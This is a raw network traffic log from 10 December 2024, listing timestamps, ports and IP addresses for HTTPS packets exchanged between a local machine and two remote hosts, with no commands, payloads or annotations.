Dec 10, 2024 07:35:28.668318987 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.668324947 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.668368101 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.673017025 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.673038960 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.673109055 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.673114061 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.673155069 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.678088903 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.678113937 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.678210974 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.678229094 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.678266048 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.684426069 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.684437037 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.684572935 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.684583902 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.684617996 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.691988945 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.692013979 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.692071915 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.692092896 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.692128897 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.699671030 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.699700117 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.699773073 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.699783087 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.699817896 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.706394911 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.706419945 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.706484079 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.706496000 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.706533909 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.733793974 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.733825922 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.733999968 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.734056950 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.734103918 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.740453005 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.740478039 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.740698099 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.740744114 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.740792990 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.742923975 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.742954969 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.743057966 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.743082047 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.743130922 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.748003006 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.748028994 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.748130083 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.748136997 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.748186111 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.753376961 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.753402948 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.753493071 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.753523111 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.753565073 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.759373903 CET	443	49764	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:28.760119915 CET	49764	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:28.760166883 CET	443	49764	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:28.760277033 CET	49764	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:28.760282993 CET	443	49764	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:28.841317892 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.841352940 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.841501951 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.841531038 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.841583014 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.846179008 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.846196890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.846285105 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.846297026 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.846340895 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.851203918 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.851221085 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.851300955 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.851320028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.851360083 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.855624914 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.855640888 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.855712891 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.855731964 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.855777025 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.860837936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.860861063 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.860959053 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.860982895 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.861026049 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.865200996 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.865216970 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.865294933 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.865315914 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.865360975 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.870028019 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.870052099 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.870124102 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.870138884 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.870174885 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.876694918 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.876713991 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.876786947 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.876802921 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.876846075 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.884278059 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.884293079 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.884362936 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.884378910 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.884413958 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.891885042 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.891902924 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.891963959 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.891982079 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.892019033 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.898576021 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.898592949 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.898685932 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.898708105 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.898745060 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.926050901 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.926073074 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.926217079 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.926249981 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.926295042 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.931476116 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.931533098 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.931572914 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.931590080 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.931617975 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.935108900 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.935139894 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.935224056 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.935250998 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.935307980 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.940090895 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.940107107 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.940197945 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.940218925 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.940262079 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.943382978 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.943403959 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.943512917 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:28.943527937 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:28.988428116 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.033551931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.033588886 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.033849001 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.033879042 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.033931971 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.038814068 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.038841009 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.038980007 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.039004087 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.039047003 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.043756008 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.043783903 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.043900967 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.043919086 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.043960094 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.047823906 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.047843933 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.047938108 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.047952890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.047993898 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.053100109 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.053123951 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.053211927 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.053234100 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.053271055 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.057487011 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.057506084 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.057694912 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.057714939 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.057755947 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.060003042 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.060024977 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.060094118 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.060112953 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.060158014 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.067662001 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.067683935 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.067745924 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.067763090 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.067801952 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.074347973 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.074367046 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.074500084 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.074507952 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.074554920 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.082098007 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.082119942 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.082199097 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.082209110 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.082245111 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.089543104 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.089567900 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.089636087 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.089644909 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.089685917 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.116466999 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.116489887 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.116605043 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.116617918 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.116661072 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.123151064 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.123167992 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.123238087 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.123255968 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.123300076 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.127171040 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.127202034 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.127275944 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.127301931 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.127351046 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.132257938 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.132276058 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.132378101 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.132395029 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.132441998 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.135761023 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.135777950 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.135853052 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.135868073 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.135906935 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.225958109 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.225986004 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.226042986 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.226066113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.226089954 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.226105928 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.230855942 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.230875969 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.230962992 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.230982065 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.231019020 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.235714912 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.235733032 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.235794067 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.235812902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.235852957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.240099907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.240118027 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.240171909 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.240185022 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.240227938 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.245353937 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.245373964 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.245466948 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.245481014 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.245520115 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.249795914 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.249815941 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.249866009 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.249876976 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.250252962 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.261629105 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.261663914 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.261743069 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.261759996 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.261810064 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.265036106 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.265053988 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.265121937 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.265127897 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.265274048 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.269521952 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.269541979 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.269761086 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.269784927 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.269898891 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.277127028 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.277146101 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.277225018 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.277230978 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.277703047 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.284759998 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.284780979 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.285279036 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.285291910 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.285445929 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.308979988 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.309003115 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.309099913 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.309111118 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.309159040 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.316432953 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.316448927 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.316848993 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.316879034 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.316950083 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.319689035 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.319714069 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.319782972 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.319803953 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.319849968 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.324856043 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.324871063 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.324974060 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.324978113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.325021982 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.327858925 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.327877045 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.328155994 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.328162909 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.328222036 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.418102980 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.418128967 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.418236017 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.418255091 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.418304920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.422998905 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.423026085 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.423125982 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.423141003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.423183918 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.427962065 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.427982092 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.428083897 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.428098917 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.428143024 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.432349920 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.432375908 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.432460070 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.432472944 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.432514906 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.437902927 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.437958956 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.438035965 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.438047886 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.438091040 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.442048073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.442070961 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.442138910 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.442147970 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:29.442193031 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:29.445272923 CET	443	49764	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:29.445378065 CET	443	49764	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:29.445427895 CET	49764	443	192.168.2.5	20.233.83.145
Dec 10, 2024 07:35:29.445445061 CET	443	49764	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:29.445457935 CET	443	49764	20.233.83.145	192.168.2.5
Dec 10, 2024 07:35:29.445492029 CET	49764	443	192.168.2.5	20.233.83.145
